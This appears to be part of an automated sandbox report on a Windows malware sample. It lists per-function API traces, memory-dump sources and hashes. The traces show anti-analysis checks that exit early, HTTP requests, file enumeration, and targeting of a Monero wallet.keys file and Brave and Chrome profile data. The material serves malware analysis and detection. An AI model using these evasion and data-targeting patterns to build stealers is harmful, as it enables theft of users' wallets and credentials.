Part of subcall function 00DF9860: GetProcAddress.KERNEL32(75900000,01965C68), ref: 00DF994C
Part of subcall function 00DF9860: GetProcAddress.KERNEL32(75900000,01970438), ref: 00DF9964
Part of subcall function 00DF9860: GetProcAddress.KERNEL32(75900000,01970450), ref: 00DF997C
Part of subcall function 00DF9860: GetProcAddress.KERNEL32(75900000,01970498), ref: 00DF9995
Part of subcall function 00DF9860: GetProcAddress.KERNEL32(75900000,019704B0), ref: 00DF99AD
Part of subcall function 00DF9860: GetProcAddress.KERNEL32(75900000,01965B28), ref: 00DF99C5
Part of subcall function 00DF9860: GetProcAddress.KERNEL32(75900000,01970510), ref: 00DF99DE

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DE11D0: ExitProcess.KERNEL32 ref: 00DE1211

Part of subcall function 00DE1160: GetSystemInfo.KERNEL32(?), ref: 00DE116A
Part of subcall function 00DE1160: ExitProcess.KERNEL32 ref: 00DE117E

Part of subcall function 00DE1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00DE112B
Part of subcall function 00DE1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00DE1132
Part of subcall function 00DE1110: ExitProcess.KERNEL32 ref: 00DE1143

Part of subcall function 00DE1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00DE123E
Part of subcall function 00DE1220: ExitProcess.KERNEL32 ref: 00DE1294

Part of subcall function 00DF6770: GetUserDefaultLangID.KERNEL32 ref: 00DF6774

Part of subcall function 00DE1190: ExitProcess.KERNEL32 ref: 00DE11C6

Part of subcall function 00DF7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00DE11B7), ref: 00DF7880
Part of subcall function 00DF7850: RtlAllocateHeap.NTDLL(00000000), ref: 00DF7887
Part of subcall function 00DF7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00DF789F

Part of subcall function 00DF78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DF7910
Part of subcall function 00DF78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00DF7917
Part of subcall function 00DF78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00DF792F

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,019786B0,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,019789F0,?,00E0110C,?,00000000,?,00E01110,?,00000000,00E00AEF), ref: 00DF6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00DF6AE8
CloseHandle.KERNEL32(00000000), ref: 00DF6AF9
Sleep.KERNEL32(00001770), ref: 00DF6B04
CloseHandle.KERNEL32(?,00000000,?,019789F0,?,00E0110C,?,00000000,?,00E01110,?,00000000,00E00AEF), ref: 00DF6B1A
ExitProcess.KERNEL32 ref: 00DF6B22

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2931873225-0
Opcode ID: 5b4e27818a69aa005a35e791c877479305493ca5731c881276e699cbdef3d54d
Instruction ID: 0a1bc0551e240922864c0483e7bac509a0741df9ddf694739a3975680913dea2
Opcode Fuzzy Hash: 5b4e27818a69aa005a35e791c877479305493ca5731c881276e699cbdef3d54d
Instruction Fuzzy Hash: 33311AB0A0020CAADB14FBE4D856BFE7738EF04340F558528F746A6585DFB46A05CBB6

Function 00DF6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,019789F0,?,00E0110C,?,00000000,?,00E01110,?,00000000,00E00AEF), ref: 00DF6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00DF6AE8
CloseHandle.KERNEL32(00000000), ref: 00DF6AF9
Sleep.KERNEL32(00001770), ref: 00DF6B04
CloseHandle.KERNEL32(?,00000000,?,019789F0,?,00E0110C,?,00000000,?,00E01110,?,00000000,00E00AEF), ref: 00DF6B1A
ExitProcess.KERNEL32 ref: 00DF6B22

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 156f17488948e83f23429fa38d0a442716a49feed983da466a42606560be1e4e
Instruction ID: 3e0108aea8969ebf7f9e2e3e0620b6b33698e1c4fecdb1dcbe119ef16b602b5b
Opcode Fuzzy Hash: 156f17488948e83f23429fa38d0a442716a49feed983da466a42606560be1e4e
Instruction Fuzzy Hash: 2BF03A70A4020DEEE720AFA09C0ABBD7A34FB04701F25C514FB47A2985CBB59540DA75

Function 00DE47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00DE4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00DE4849

Strings

<, xrefs: 00DE47C9

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: fa76210ef3c79b22c2eafe147e8468d791ccd4be4965e6da313807ee2ff3baad
Instruction ID: d1546075fb7cafd55be47d547193d9fd5680105ec917cece10753845230615cc
Opcode Fuzzy Hash: fa76210ef3c79b22c2eafe147e8468d791ccd4be4965e6da313807ee2ff3baad
Instruction Fuzzy Hash: 16215EB1D00209ABDF10DFA5EC49ADE7B74FB04320F108625FA15A7281EB706A09CB91

Function 00DF51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

Part of subcall function 00DE6280: InternetOpenA.WININET(00E00DFE,00000001,00000000,00000000,00000000), ref: 00DE62E1
Part of subcall function 00DE6280: StrCmpCA.SHLWAPI(?,0197F1D8), ref: 00DE6303
Part of subcall function 00DE6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00DE6335
Part of subcall function 00DE6280: HttpOpenRequestA.WININET(00000000,GET,?,0197E7B8,00000000,00000000,00400100,00000000), ref: 00DE6385
Part of subcall function 00DE6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00DE63BF
Part of subcall function 00DE6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00DE63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00DF5228

Strings

ERROR, xrefs: 00DF521A
ERROR, xrefs: 00DF5273

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 11fa6535237faafe645e9c73abaf81ddd6c0f5b547c04f95f826be6b58b38728
Instruction ID: 8299f482215c091760ec78914c1c55964bc9f5ce4960a9e24ec80778791d32ef
Opcode Fuzzy Hash: 11fa6535237faafe645e9c73abaf81ddd6c0f5b547c04f95f826be6b58b38728
Instruction Fuzzy Hash: 69110AB090014CAACB14FF68D952AFD7338EF50340F41C158FA0E5A596EF70AB0AC6B1

Function 00DE1220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00DE123E
ExitProcess.KERNEL32 ref: 00DE1294

Strings

@, xrefs: 00DE1233

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 803317263-2766056989
Opcode ID: 7429e0d3aa74132e123e3a07f82effc272f9099ac3c898946abd461a3c0efebc
Instruction ID: 52d2796ee8b1e690762d989eaecef1d1e16b0a8596825505437dc55bbd92c06a
Opcode Fuzzy Hash: 7429e0d3aa74132e123e3a07f82effc272f9099ac3c898946abd461a3c0efebc
Instruction Fuzzy Hash: 4E014FB4A40348EADB10EBD5CC4ABADB778EB14701F248044E705B6180D6745545876D

Function 00DE1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00DE112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00DE1132
ExitProcess.KERNEL32 ref: 00DE1143

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 006a2a3027303f024b81575af62aff2fd5a91c2432c521e7297b1fec1faacdde
Instruction ID: cd3d264b999ae83080c3c26c25ed3f10978f10a5358405ae3fa051df80d7cb73
Opcode Fuzzy Hash: 006a2a3027303f024b81575af62aff2fd5a91c2432c521e7297b1fec1faacdde
Instruction Fuzzy Hash: 95E0E674B45348FFE7306FA19C0AB0D7678EB04B01F204055F709B75C4DAF9264097A9

Function 00DE10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00DE10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00DE10F7

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 5effc5ef2d8bbc05047399315e778d4869b560db53a6114a07da9b2c871f80d4
Instruction ID: c377df6434874f4081a25bf0665ab8614473a71cd170f93be9ddc10e015e77fc
Opcode Fuzzy Hash: 5effc5ef2d8bbc05047399315e778d4869b560db53a6114a07da9b2c871f80d4
Instruction Fuzzy Hash: E0F0E971741208BBE7249AA49C49FBAB7DCE705B15F300444F544E3280D5729E00DB64

Function 00DE1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00DF78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DF7910
Part of subcall function 00DF78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00DF7917
Part of subcall function 00DF78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00DF792F

Part of subcall function 00DF7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00DE11B7), ref: 00DF7880
Part of subcall function 00DF7850: RtlAllocateHeap.NTDLL(00000000), ref: 00DF7887
Part of subcall function 00DF7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00DF789F

ExitProcess.KERNEL32 ref: 00DE11C6

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: f4b92cb80c78a9f42a3a7001d3d8dfc495f5c6880c0a0199eb9a235b1b1d7d63
Instruction ID: ab1d251a089515670c8e74e2fca8508880186640dc2458443640521f24c8d3ba
Opcode Fuzzy Hash: f4b92cb80c78a9f42a3a7001d3d8dfc495f5c6880c0a0199eb9a235b1b1d7d63
Instruction Fuzzy Hash: 14E012B5B1430997CF347BB1AC0AB3A329CDB14385F194424FB09D3602FE2AE8509679

Non-executed Functions

Function 00DF38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00DF38CC
FindFirstFileA.KERNEL32(?,?), ref: 00DF38E3
lstrcat.KERNEL32(?,?), ref: 00DF3935
StrCmpCA.SHLWAPI(?,00E00F70), ref: 00DF3947
StrCmpCA.SHLWAPI(?,00E00F74), ref: 00DF395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00DF3C67
FindClose.KERNEL32(000000FF), ref: 00DF3C7C

Strings

%s\%s, xrefs: 00DF3A6F
%s\*, xrefs: 00DF38C0
%s\%s\%s, xrefs: 00DF3A4A
%s%s, xrefs: 00DF3AAD
%s\%s, xrefs: 00DF397A

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: f1e6290e2fc369efdad92a24caa63f84ba2f40b313b55d29c4bfeb48040d8186
Instruction ID: f92c9dc85cb33f9e1e48e1dbe2828f98cd93b49ed44fa7524a8fd676ee7182f6
Opcode Fuzzy Hash: f1e6290e2fc369efdad92a24caa63f84ba2f40b313b55d29c4bfeb48040d8186
Instruction Fuzzy Hash: 21A12DB1A00219ABDB34EF64DC85FFA7378FB48300F058588E64E96545EB759B84CF62

Function 00DEBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,019786B0,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

FindFirstFileA.KERNEL32(00000000,?,00E00B32,00E00B2B,00000000,?,?,?,00E013F4,00E00B2A), ref: 00DEBEF5
StrCmpCA.SHLWAPI(?,00E013F8), ref: 00DEBF4D
StrCmpCA.SHLWAPI(?,00E013FC), ref: 00DEBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00DEC7BF
FindClose.KERNEL32(000000FF), ref: 00DEC7D1

Strings

Preferences, xrefs: 00DEC11E
\Brave\Preferences, xrefs: 00DEC1DB
Google Chrome, xrefs: 00DEC634
Brave, xrefs: 00DEC102

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
